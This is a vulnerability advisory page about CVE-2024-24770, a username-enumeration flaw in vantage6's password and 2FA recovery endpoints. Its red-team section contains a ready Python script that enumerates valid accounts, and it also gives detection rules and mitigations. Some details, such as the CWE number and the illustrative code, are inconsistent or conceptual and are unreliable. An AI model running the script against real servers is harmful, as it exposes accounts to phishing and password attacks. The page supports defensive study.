☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.3 🐛 CWE-208
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-24770

CVE-2024-24770 Information Disclosure in Vantage6
📅 PUBLISHED: 2024-03-14 18:47 UTC 🔄 UPDATED: 2026-09-23 20:30 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.40%
👁️
0.40% probability
9.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-24770 is an information disclosure vulnerability in the vantage6 open-source framework, which is designed to enable privacy-enhancing technologies such as Federated Learning and Multi-Party Computation. The vulnerability allows an unauthenticated remote attacker to enumerate valid usernames by observing the responses from the /recover/lost and /2fa/lost API endpoints. These endpoints are intended to send password recovery or MFA token reset emails to users. However, the application does not return a consistent response for valid versus invalid usernames, enabling an attacker to build a list of valid accounts. This is a classic username enumeration flaw (CWE-203). The CVSS score is 5.3 (Medium), and while no public exploit code exists, the attack is trivial to execute. The patch is available in commit aecfd6d0e but has not yet been included in a formal release.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Vantage6 is a Python-based open-source framework distributed via PyPI. Users who install the package via pip install vantage6 are affected if they are running a version prior to the commit aecfd6d0e. The vulnerability exists in the server-side API code, not in any third-party dependency. However, the lack of a patched release means that supply chain security is a concern—users must either wait for a new release or manually apply the patch from the source repository. There is no known malicious package impersonating vantage6, but the risk of dependency confusion or typosquatting remains.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required; the attacker simply sends HTTP requests.
  • Privileges Required (PR): None (N) – No authentication is needed.
  • User Interaction (UI): None (N) – The victim does not need to perform any action.
  • Scope (S): Unchanged (U) – The exploitation does not affect other components.
  • Confidentiality (C): Low (L) – Only the existence of usernames is disclosed, not passwords or other sensitive data.
  • Integrity (I): None (N) – No data is modified.
  • Availability (A): None (N) – No denial of service.

Threat Level: Medium. While the impact is limited to username enumeration, this information can be used to launch targeted phishing attacks or brute-force password attempts. The low attack complexity and lack of authentication make it a viable reconnaissance vector.

Deep Dive & Mechanics

The vulnerability resides in the vantage6 API endpoints /recover/lost and /2fa/lost. When a user submits a username (or email) to these endpoints, the server checks if the account exists. If it does, the server sends a recovery email and returns a success message. If it does not, the server returns an error message indicating the user was not found. This discrepancy in responses allows an attacker to iterate through a list of potential usernames and determine which ones are valid.

The root cause is a lack of consistent response handling. The server should return the same generic message (e.g., "If the account exists, a recovery email has been sent") regardless of whether the username is valid. This is a classic example of CWE-203 (Observable Discrepancy). The fix in commit aecfd6d0e likely implements a uniform response to prevent enumeration.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

@app.route('/recover/lost', methods=['POST'])
def recover_lost():
    username = request.json.get('username')
    user = User.query.filter_by(username=username).first()
    if user:
        send_recovery_email(user.email)
        return jsonify({"message": "Recovery email sent"}), 200
    else:
        return jsonify({"error": "User not found"}), 404

Patched Code (Conceptual):

@app.route('/recover/lost', methods=['POST'])
def recover_lost():
    username = request.json.get('username')
    user = User.query.filter_by(username=username).first()
    if user:
        send_recovery_email(user.email)
    # Always return the same message to prevent enumeration
    return jsonify({"message": "If the account exists, a recovery email has been sent"}), 200

The patched code removes the conditional error response, ensuring that an attacker cannot distinguish between valid and invalid usernames.

Exploitation & Lab Setup

Red Team

Objective: Enumerate valid usernames on a target vantage6 instance.

Prerequisites:

  • Target vantage6 server URL (e.g., https://vantage6.example.com)
  • A list of potential usernames (e.g., usernames.txt)

Steps:

  1. Send a POST request to /recover/lost with a test username.
  2. Observe the response. If the response contains "Recovery email sent" (or similar), the username is valid. If it contains "User not found" (or similar), the username is invalid.
  3. Automate the process using a script.

Example Exploit Script (Python):

import requests
import sys

def enumerate_usernames(target_url, username_list):
    endpoint = f"{target_url}/recover/lost"
    valid_users = []
    for username in username_list:
        response = requests.post(endpoint, json={"username": username})
        if "Recovery email sent" in response.text:
            valid_users.append(username)
            print(f"[+] Valid user: {username}")
        else:
            print(f"[-] Invalid user: {username}")
    return valid_users

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python exploit.py <target_url> <username_file>")
        sys.exit(1)
    target = sys.argv[1]
    with open(sys.argv[2], 'r') as f:
        usernames = [line.strip() for line in f]
    enumerate_usernames(target, usernames)

Expected Output:

[+] Valid user: admin
[-] Invalid user: testuser
[+] Valid user: john_doe

Blue Team

Detection:

  • Monitor for repeated POST requests to /recover/lost or /2fa/lost from the same IP address.
  • Look for patterns of requests with different usernames in a short time frame.
  • Alert on any response that includes "User not found" (if the server is vulnerable) or on any anomalous traffic to these endpoints.

Mitigation:

  • Apply the patch from commit aecfd6d0e as soon as possible.
  • Implement rate limiting on the /recover/lost and /2fa/lost endpoints.
  • Use a Web Application Firewall (WAF) to block automated enumeration attempts.
  • Ensure that the server returns a generic response for both valid and invalid usernames.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Repeated POST requests to /recover/lost or /2fa/lost with varying username parameters.
    • HTTP responses containing "User not found" or "Recovery email sent" from these endpoints.
  • Log IOCs:
    • Server logs showing multiple 404 or 200 responses to /recover/lost from the same source IP.
    • Unusual volume of requests to these endpoints (e.g., >10 requests per minute from a single IP).
  • File IOCs:
    • No file-based IOCs are expected, as this is a network-level vulnerability.

Detection Engineering

YARA Rule

rule vantage6_username_enumeration {
    meta:
        description = "Detects HTTP responses indicating username enumeration on vantage6 /recover/lost endpoint"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-24770"
    strings:
        $recovery_sent = "Recovery email sent" ascii wide nocase
        $user_not_found = "User not found" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: Vantage6 Username Enumeration via /recover/lost
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects multiple POST requests to /recover/lost with different usernames from the same source IP
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/recover/lost'
    condition: selection | count(c-ip) by cs-uri-stem > 10 within 60 seconds
falsepositives:
    - Legitimate password recovery attempts by multiple users
level: medium

Suricata Rule

alert http any any -> any any (msg:"Vantage6 Username Enumeration Attempt"; flow:to_server; content:"POST"; http_method; content:"/recover/lost"; http_uri; content:"username"; http_client_body; threshold:type both, track by_src, count 10, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Apply the patch: Manually apply commit aecfd6d0e from the vantage6 repository to your server code. This is the only definitive fix.
  2. Rate limiting: Configure your web server or API gateway to limit the number of requests to /recover/lost and /2fa/lost per IP address (e.g., 5 requests per minute).
  3. Generic responses: If you cannot patch immediately, modify the server code to return the same response for both valid and invalid usernames (e.g., "If the account exists, a recovery email has been sent").

Long-Term Measures:

  • Upgrade: Once a new release of vantage6 is available, upgrade to the patched version.
  • Monitoring: Implement logging and alerting for unusual traffic patterns to these endpoints.
  • Security review: Conduct a code review of all API endpoints that handle user input to ensure consistent error handling.

Workarounds:

  • There are no known workarounds other than the patch or manual code modification.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-24770/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.